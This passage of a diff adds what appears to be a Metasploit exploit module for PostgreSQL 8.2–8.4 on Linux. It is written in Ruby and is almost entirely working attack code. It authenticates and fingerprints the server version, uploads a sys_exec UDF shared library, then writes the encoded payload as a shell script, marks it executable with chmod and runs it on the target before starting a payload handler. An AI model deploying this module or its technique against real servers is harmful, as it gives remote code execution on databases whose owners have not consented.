+ )) + + register_options( + [ + OptString.new('BITS',[true,'32/ 64 bit OS',32]) + ],self.class) + + + deregister_options('SQL', 'RETURN_ROWSET') + end + + # Buncha stuff to make typing easier. + def username; datastore['USERNAME']; end + def password; datastore['PASSWORD']; end + def database; datastore['DATABASE']; end + def verbose; datastore['VERBOSE']; end + def rhost; datastore['RHOST']; end + def rport; datastore['RPORT']; end + def bits; datastore['BITS'];end + + def execute_command(cmd, opts) + postgres_sys_exec(cmd) + end + + def exploit + version = get_version(username,password,database,verbose) + case version + when :nocompat; print_error "Authentication successful, but not a compatable version." + when :noauth; print_error "Authentication failed." + when :noconn; print_error "Connection failed." + end + return unless version =~ /8\.[234]/ + print_status "Authentication successful and vulnerable version #{version} on Linux confirmed." + tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version)) + unless tbl && fld && so && oid + print_error "Could not upload the UDF SO" + return + end + + print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})" + ret_sys_exec = postgres_create_sys_exec_linux(so) + if ret_sys_exec + if @postgres_conn + print_status "Success" + + tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode) + unless tbl && fld && myexploit && oid + print_error "Could not upload the PAYLOAD" + return + end + print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})" + postgres_sys_exec("chmod 755 #{myexploit}") + postgres_sys_exec("#{myexploit}") + handler + postgres_logout if @postgres_conn + else + print_error "Lost connection." + return + end + end + postgres_logout if @postgres_conn + + end + + def so_fname(version) + print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so" + File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so") + end + + # A shorter version of do_fingerprint from the postgres_version scanner + # module, specifically looking for versions that valid targets for this + # module. + def get_version(user=nil,pass=nil,database=nil,verbose=false) + begin + msg = "#{rhost}:#{rport} Postgres -" + password = pass || postgres_password + vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") + result = postgres_fingerprint( + :db => database, + :username => user, + :password => password + ) + if result[:auth] + # So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4 + # This also checks to see if it was compiled with a windows-based compiler -- + # the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw) + # Also, the method to write files to disk doesn't appear to work on 9.0, so + # tabling that version for now. + #if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i + if result[:auth] =~ /PostgreSQL (8\.[234]).*/i + return $1 + else + print_status "Found #{result[:auth]}" + return :nocompat + end + else + return :noauth + end + rescue Rex::ConnectionError + vprint_error "#{rhost}:#{rport} Connection Error: #{$!}" + return :noconn + end + end + +end